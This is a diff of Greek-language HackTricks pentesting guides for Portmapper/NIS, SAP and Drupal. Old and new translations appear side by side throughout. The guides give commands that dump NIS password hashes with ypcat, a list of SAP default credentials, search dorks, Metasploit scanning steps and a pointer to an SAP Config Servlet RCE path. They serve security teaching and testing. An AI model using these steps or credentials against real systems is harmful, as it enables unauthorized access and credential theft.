* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Το **Portmapper** είναι ένας υπηρεσία που χρησιμοποιείται για την αντιστοίχιση των θυρών υπηρεσιών δικτύου σε αριθμούς προγραμμάτων **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμο στοιχείο σε **συστήματα Unix**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** συχνά σαρώνεται από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Λειτουργικού Συστήματος Unix (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συχνά σε συνδυασμό με το **NFS (Network File System)**, το **NIS (Network Information Service)** και άλλες **υπηρεσίες βασισμένες σε RPC** για τη διαχείριση των υπηρεσιών δικτύου με αποτελεσματικό τρόπο.
Το **Portmapper** είναι ένας υπηρεσία που χρησιμοποιείται για την αντιστοίχιση των θυρών υπηρεσιών δικτύου σε αριθμούς προγραμμάτων **RPC** (Remote Procedure Call). Λειτουργεί ως κρίσιμο στοιχείο σε **συστήματα Unix**, διευκολύνοντας την ανταλλαγή πληροφοριών μεταξύ αυτών των συστημάτων. Η **θύρα** που σχετίζεται με το **Portmapper** συχνά σαρώνεται από επιτιθέμενους καθώς μπορεί να αποκαλύψει πολύτιμες πληροφορίες. Αυτές οι πληροφορίες περιλαμβάνουν τον τύπο του **Unix Λειτουργικού Συστήματος (OS)** που εκτελείται και λεπτομέρειες σχετικά με τις υπηρεσίες που είναι διαθέσιμες στο σύστημα. Επιπλέον, το **Portmapper** χρησιμοποιείται συχνά σε συνδυασμό με το **NFS (Network File System)**, το **NIS (Network Information Service)** και άλλες **υπηρεσίες βασισμένες σε RPC** για τη διαχείριση των υπηρεσιών δικτύου με αποτελεσματικό τρόπο.
**Προεπιλεγμένη θύρα:** 111/TCP/UDP, 32771 στο Oracle Solaris
```
@ -39,21 +39,21 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
Αν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορείτε να κάνετε λίστα και λήψη (και ίσως μεταφόρτωση) αρχείων:
Εάν βρείτε την υπηρεσία NFS τότε πιθανότατα θα μπορείτε να καταλάβετε και να κατεβάσετε (και ίσως να ανεβάσετε) αρχεία:
![](<../.gitbook/assets/image (869).png>)
Διαβάστε το [2049 - Ελεγχος ασφάλειας υπηρεσίας NFS](nfs-service-pentesting.md) για να μάθετε περισσότερα σχετικά με το πώς να δοκιμάσετε αυτό το πρωτόκολλο.
Διαβάστε [2049 - Ελεγχος ασφάλειας υπηρεσίας NFS](nfs-service-pentesting.md) για να μάθετε περισσότερα σχετικά με το πώς να δοκιμάσετε αυτό το πρωτόκολλο.
## NIS
Η εξερεύνηση των ευπαθειών του **NIS** περιλαμβάνει ένα διαδικασία δύο βημάτων, ξεκινώντας με την αναγνώριση της υπηρεσίας `ypbind`. Το κεντρικό σημείο αυτής της εξερεύνησης είναι η αποκάλυψη του **ονόματος του τομέα NIS**, χωρίς το οποίο η πρόοδος σταματά.
Η εξερεύνηση των ευπαθειών του **NIS** περιλαμβάνει ένα διαδικασία δύο βημάτων, ξεκινώντας με την αναγνώριση της υπηρεσίας `ypbind`. Το κεφάλαιο αυτής της εξερεύνησης είναι η αποκάλυψη του **ονόματος του τομέα NIS**, χωρίς το οποίο η πρόοδος σταματά.
![](<../.gitbook/assets/image (856).png>)
Το ταξίδι εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση της εντολής `ypwhich` για να επιβεβαιώσετε την παρουσία του διακομιστή NIS προσπαθώντας να τον πιάσετε με το όνομα τομέα και τη διεύθυνση IP του διακομιστή, εξασφαλίζοντας ότι αυτά τα στοιχεία είναι ανωνυμοποιημένα για λόγους ασφάλειας.
Το ταξίδι εξερεύνησης ξεκινά με την εγκατάσταση των απαραίτητων πακέτων (`apt-get install nis`). Το επόμενο βήμα απαιτεί τη χρήση της εντολής `ypwhich` για να επιβεβαιώσετε την παρουσία του διακομιστή NIS προσπαθώντας να τον πιάσετε με το όνομα του τομέα και τη διεύθυνση IP του διακομιστή, εξασφαλίζοντας ότι αυτά τα στοιχεία είναι ανωνυμοποιημένα για λόγους ασφαλείας.
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κρυπτογραφημένων κωδικών χρηστών. Αυτές οι κατακερματισμένες τιμές, με τη χρήση εργαλείων όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα προνόμια.
Το τελικό και κρίσιμο βήμα περιλαμβάνει την εντολή `ypcat` για την εξαγωγή ευαίσθητων δεδομένων, ιδιαίτερα κρυπτογραφημένων κωδικών χρηστών. Αυτές οι κατακερματισμένες τιμές, μόλις αποκωδικοποιηθούν χρησιμοποιώντας εργαλεία όπως το **John the Ripper**, αποκαλύπτουν πληροφορίες σχετικά με την πρόσβαση στο σύστημα και τα δικαιώματα.
```bash
# Install NIS tools
apt-get install nis
@ -65,11 +65,11 @@ ypcat d <domain-name> h <server-ip> passwd.byname
### NIF αρχεία
| **Αρχείο Master** | **Χάρτης(ες)** | **Σημειώσεις** |
| ----------------- | -------------------------- | ------------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Περιέχει ονόματα κεντρικού υπολογιστή και λεπτομέρειες IP |
| /etc/passwd | passwd.byname, passwd.byuid| Αρχείο κωδικού πρόσβασης χρήστη NIS |
| /etc/group | group.byname, group.bygid | Αρχείο ομάδας NIS |
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες αλληλογραφίας αλληλογραφίας |
| ----------------- | --------------------------- | ------------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Περιέχει ονόματα κεντρικού υπολογιστή και λεπτομέρειες IP |
| /etc/passwd | passwd.byname, passwd.byuid | Αρχείο κωδικού πρόσβασης χρήστη NIS |
| /etc/group | group.byname, group.bygid | Αρχείο ομάδας NIS |
| /usr/lib/aliases | mail.aliases | Λεπτομέρειες αλληλογραφίας αλληλογραφίας |
## Χρήστες RPC
@ -77,7 +77,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
![](<../.gitbook/assets/image (1038).png>)
Μπορείτε να απαριθμήσετε τους χρήστες του συστήματος. Για να μάθετε πώς να το κάνετε, διαβάστε το [1026 - Ελέγχος ασφάλειας Rsusersd](1026-pentesting-rusersd.md).
Μπορείτε να απαριθμήσετε τους χρήστες του συστήματος. Για να μάθετε πώς, διαβάστε το [1026 - Ελεγχος ασφαλείας Rsusersd](1026-pentesting-rusersd.md).
## Παράκαμψη Φιλτραρισμένης Θύρας Portmapper
@ -91,7 +91,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
* Εξασκηθείτε σε αυτές τις τεχνικές στη [**μηχανή Irked HTB**](https://app.hackthebox.com/machines/Irked).
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -125,7 +125,7 @@ Command: nmap -sSUC -p 111 {IP}
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,20 +6,20 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Εισαγωγή σχετικά με το SAP
Το SAP σημαίνει Συστήματα Εφαρμογών και Προϊόντα στην Επεξεργασία Δεδομένων. Το SAP, κατά τον ορισμό, είναι επίσης το όνομα του λογισμικού ERP \(Σύστημα Εφοδιαστικής Αλυσίδας\) καθώς και το όνομα της εταιρείας.
Το SAP σημαίνει Συστήματα Εφαρμογών και Προϊόντων στην Επεξεργασία Δεδομένων. Το SAP, κατά τον ορισμό, είναι επίσης το όνομα του λογισμικού ERP \(Σχεδιασμός Επιχειρηματικών Πόρων\) καθώς και το όνομα της εταιρείας.
Το σύστημα SAP αποτελείται από έναν αριθμό πλήρως ενσωματωμένων ενοτήτων, οι οποίες καλύπτουν σχεδόν κάθε πτυχή της διαχείρισης επιχειρήσεων.
Κάθε παράδειγμα SAP \(ή SID\) αποτελείται από τρεις επίπεδα: βάση δεδομένων, εφαρμογή και παρουσίαση\), κάθε τοπίο αποτελείται συνήθως από τέσσερα παραδείγματα: ανάπτυξη, δοκιμή, QA και παραγωγή.
@ -27,9 +27,9 @@
Κάθε παράδειγμα SAP είναι χωρισμένο σε πελάτες. Καθένας έχει έναν χρήστη SAP\*, το αντίστοιχο της εφαρμογής του "root".
Κατά την αρχική δημιουργία, αυτός ο χρήστης SAP\* λαμβάνει ένα προεπιλεγμένο κωδικό πρόσβασης: "060719992" \(περισσότεροι προεπιλεγμένοι κωδικοί παρακάτω\).
Θα ήσασταν έκπληκτοι αν ξέρατε πόσο συχνά αυτοί οι **κωδικοί δεν αλλάζονται σε περιβάλλοντα δοκιμής ή ανάπτυξης**!
Θα εκπλαγείτε αν ήξερες πόσο συχνά αυτοί οι **κωδικοί δεν αλλάζονται σε περιβάλλοντα δοκιμής ή ανάπτυξης**!
Προσπαθήστε να αποκτήσετε πρόσβαση στο κέλυφος οποιοδήποτε διακομιστή χρησιμοποιώντας το όνομα χρήστη &lt;SID&gt;adm.
Προσπαθήστε να αποκτήσετε πρόσβαση στο κέλυφος οποιουδήποτε διακομιστή χρησιμοποιώντας το όνομα χρήστη &lt;SID&gt;adm.
Η επίθεση με βίαιο τρόπο μπορεί να βοηθήσει, ωστόσο μπορεί να υπάρχει μηχανισμός κλειδώματος λογαριασμού.
# Ανακάλυψη
@ -37,7 +37,7 @@
> Η επόμενη ενότητα είναι κυρίως από [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) από τον χρήστη shipcod3!
* Ελέγξτε το Πεδίο Εφαρμογής ή το Πρόγραμμα Περιγραφής για δοκιμή. Κρατήστε σημειώσεις για τα ονόματα υπολογιστών ή τα παραδείγματα συστημάτων για σύνδεση στο SAP GUI.
* Χρησιμοποιήστε OSINT \(ανοικτή πηγή πληροφοριών\), Shodan και Google Dorks για να ελέγξετε αρχεία, υποτομείς και ενδιαφέρουσες πληροφορίες αν η εφαρμογή είναι προσβάσιμη στο διαδίκτυο ή δημόσια:
* Χρησιμοποιήστε OSINT \(ανοικτή πηγή πληροφοριών\), Shodan και Google Dorks για να ελέγξετε αρχεία, υποτομείς και χρήσιμες πληροφορίες αν η εφαρμογή είναι προσβάσιμη στο διαδίκτυο ή δημόσια:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -47,19 +47,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Εδώ είναι πως φαίνεται το [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
* Εδώ είναι πως μοιάζει το [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
![Οθόνη σύνδεσης SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Χρησιμοποιήστε το nmap για να ελέγξετε αν υπάρχουν ανοιχτές θύρες και γνωστές υπηρεσίες \(sap routers, webdnypro, web services, web servers, κλπ.\)
* Κάντε crawl τα URLs αν υπάρχει κάποιος web server που λειτουργεί.
* Κάντε fuzz τους καταλόγους \(μπορείτε να χρησιμοποιήσετε το Burp Intruder\) αν υπάρχουν web servers σε συγκεκριμένες θύρες. Εδώ είναι μερικές καλές λίστες λέξεων που παρέχονται από το Έργο SecLists για την εύρεση προεπιλεγμένων SAP ICM Paths και άλλων ενδιαφερουσών καταλόγων ή αρχείων:
* Χρησιμοποιήστε το nmap για να ελέγξετε τις ανοικτές θύρες και τις γνωστές υπηρεσίες (sap routers, webdynpro, web services, web servers, κλπ.)
* Κάντε crawl τα URLs αν υπάρχει ενεργός web server.
* Κάντε fuzz τα directories (μπορείτε να χρησιμοποιήσετε το Burp Intruder) αν υπάρχουν web servers σε συγκεκριμένες θύρες. Εδώ είναι μερικά καλά wordlists που παρέχονται από το έργο SecLists Project για την εύρεση προεπιλεγμένων SAP ICM Paths και άλλων ενδιαφερουσών καταλόγων ή αρχείων:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* Χρησιμοποιήστε το ανακλητικό εργαλείο Metasploit SAP SERVICE DISCOVERY για την απαρίθμηση των παραδειγμάτων/υπηρεσιών/στοιχείων του SAP:
* Χρησιμοποιήστε το ανακλητικό μοντέλο Metasploit SAP SERVICE DISCOVERY auxiliary για την απαρίθμηση των παραδειγμάτων/υπηρεσιών/στοιχείων SAP:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -76,11 +76,11 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Δοκιμή του Παχέος Πελάτη / SAP GUI
## Δοκιμή του Παχύ Πελάτη / SAP GUI
Εδώ είναι η εντολή για σύνδεση στο SAP GUI `sapgui <όνομα κεντρικού υπολογιστή SAP> <αριθμός συστήματος>`
* Ελέγξτε τα προεπιλεγμένα διαπιστευτήρια (Στην Ταξινόμηση Ευπαθειών του Bugcrowd, αυτό θεωρείται ως P1 -> Εσφαλμένη Διαμόρφωση Ασφάλειας Διακομιστή | Χρήση Προεπιλεγμένων Διαπιστευτηρίων | Παραγωγικός Διακομιστής):
* Ελέγξτε για προεπιλεγμένα διαπιστευτήρια (Στην Ταξινόμηση Ευπαθειών του Bugcrowd, αυτό θεωρείται ως P1 -&gt; Εσφαλμένη Διαμόρφωση Ασφάλειας Διακομιστή \| Χρήση Προεπιλεγμένων Διαπιστευτηρίων \| Παραγωγικός Διακομιστής\)
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -145,19 +145,19 @@ BWDEVELOPER:Down1oad:001
# Δοκιμή της διεπαφής ιστού
* Αναζητήστε τις διευθύνσεις URL (δείτε τη φάση ανακάλυψης).
* Κάντε fuzz τις διευθύνσεις URL όπως στη φάση ανακάλυψης. Δείτε πώς είναι το [http://SAP:50000/index.html](http://sap:50000/index.html):
* Κάντε fuzz τις διευθύνσεις URL όπως στη φάση ανακάλυψης. Εδώ είναι πως φαίνεται το [http://SAP:50000/index.html](http://sap:50000/index.html):
![Σελίδα Ευρετηρίου SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Αναζητήστε κοινές ευπάθειες ιστού (Αναφερθείτε στο OWASP Top 10) επειδή υπάρχουν ευπάθειες όπως XSS, RCE, XXE, κ.λπ. σε ορισμένα σημεία.
* Αναζητήστε κοινές ευπάθειες ιστού (Αναφερθείτε στο OWASP Top 10) επειδή υπάρχουν ευπάθειες όπως XSS, RCE, XXE, κλπ. σε ορισμένα σημεία.
* Ελέγξτε τη μεθοδολογία του Jason Haddix με τίτλο [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) για τη δοκιμή ευπαθειών ιστού.
* Παράκαμψη πιστοποίησης μέσω παραβίασης ρήματος; Ίσως :\)
* Ανοίξτε το `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` και κάντε κλικ στο κουμπί “Choose” και στη συνέχεια στο ανοιχτό παράθυρο πατήστε “Search”. Θα πρέπει να βλέπετε μια λίστα χρηστών SAP (Αναφορά Ευπαθειών: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Τα διαπιστευτήρια υποβάλλονται μέσω HTTP; Αν ναι, τότε θεωρείται ως P3 βάσει της Ταξινομίας Αξιολόγησης Ευπαθειών της Bugcrowd: Κατεστραμμένη Ταυτοποίηση και Διαχείριση Συνεδρίας | Αδύναμη Λειτουργία Σύνδεσης Μέσω HTTP. Υπόδειξη: Ελέγξτε το [http://SAP:50000/startPage](http://sap:50000/startPage) ή τις πύλες σύνδεσης :\)
* Παράκαμψη πιστοποίησης μέσω παραβίασης ρήματος; Ίσως :)
* Ανοίξτε το `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` και στη συνέχεια πατήστε το κουμπί “Choose” και μετά στο ανοιχτό παράθυρο πατήστε “Search”. Θα πρέπει να βλέπετε μια λίστα χρηστών SAP (Αναφορά Ευπαθειών: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Τα διαπιστευτήρια υποβάλλονται μέσω HTTP; Αν ναι, τότε θεωρείται ως P3 βάσει της [Ταξινομίας Αξιολόγησης Ευπαθειών του Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Κατεστραμμένη Ταυτοποίηση και Διαχείριση Συνεδρίας | Αδύναμη Λειτουργία Σύνδεσης Μέσω HTTP. Υπόδειξη: Ελέγξτε το [http://SAP:50000/startPage](http://sap:50000/startPage) επίσης ή τις πύλες σύνδεσης :)
![Σελίδα Έναρξης SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Δοκιμάστε το `/irj/go/km/navigation/` για πιθανή κατάλογο λίστας ή παράκαμψη πιστοποίησης
* Δοκιμάστε `/irj/go/km/navigation/` για πιθανή λίστα καταλόγων ή παράκαμψη πιστοποίησης
* Το [http://SAP/sap/public/info](http://sap/sap/public/info) περιέχει μερικές ενδιαφέρουσες πληροφορίες:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
@ -263,7 +263,7 @@ http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sa
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Πριν εκτελέσετε την εντολή `start` στο σενάριο bizploit στη φάση της Ανακάλυψης, μπορείτε επίσης να προσθέσετε τα παρακάτω για την εκτέλεση αξιολόγησης ευπαθειών:
* Πριν εκτελέσετε την εντολή `start` στο σενάριο bizploit στη φάση της ανακάλυψης, μπορείτε επίσης να προσθέσετε τα παρακάτω για την εκτέλεση αξιολόγησης ευπαθειών:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -287,7 +287,7 @@ bizploit> start
```
# Άλλα Χρήσιμα Εργαλεία για Τεστάρισμα
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Εργαλείο Powershell για αξιολόγηση της ασφάλειας του SAP
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Εργαλείο Powershell για αξιολόγηση της ασφάλειας του sap
* [Burp Suite](https://portswigger.net/burp) - απαραίτητο για directory fuzzing και αξιολογήσεις ασφαλείας ιστού
* [pysap](https://github.com/SecureAuthCorp/pysap) - Βιβλιοθήκη Python για τη δημιουργία πακέτων πρωτοκόλλου δικτύου SAP
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Βοηθά το nmap να ανιχνεύσει SAP/ERP
@ -297,15 +297,15 @@ bizploit> start
* [Δοκιμή Διείσδυσης SAP Χρησιμοποιώντας το Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - ένα σενάριο για ημι-αυτοματοποίηση του Bizploit
* [Διαμόρφωση ασφάλειας SAP NetWeaver ABAP μέρος 3: Προεπιλεγμένοι κωδικοί πρόσβασης για πρόσβαση στην εφαρμογή](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Λίστα κωδικών συναλλαγών ABAP που σχετίζονται με την ασφάλεια του SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Λίστα κωδικών συναλλαγών ABAP που σχετίζονται με την ασφάλεια SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Κατάρριψη SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Κορυφαίες 10 πιο ενδιαφέρουσες ευπάθειες και επιθέσεις SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Οι 10 πιο ενδιαφέρουσες ευπάθειες και επιθέσεις SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Αξιολόγηση της ασφάλειας των οικοσυστημάτων SAP με το bizploit: Ανακάλυψη](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -319,7 +319,7 @@ bizploit> start
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -10,18 +10,18 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Ανακάλυψη
* Ελέγξτε το **meta**
* Ελέγξτε τα **meta**
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
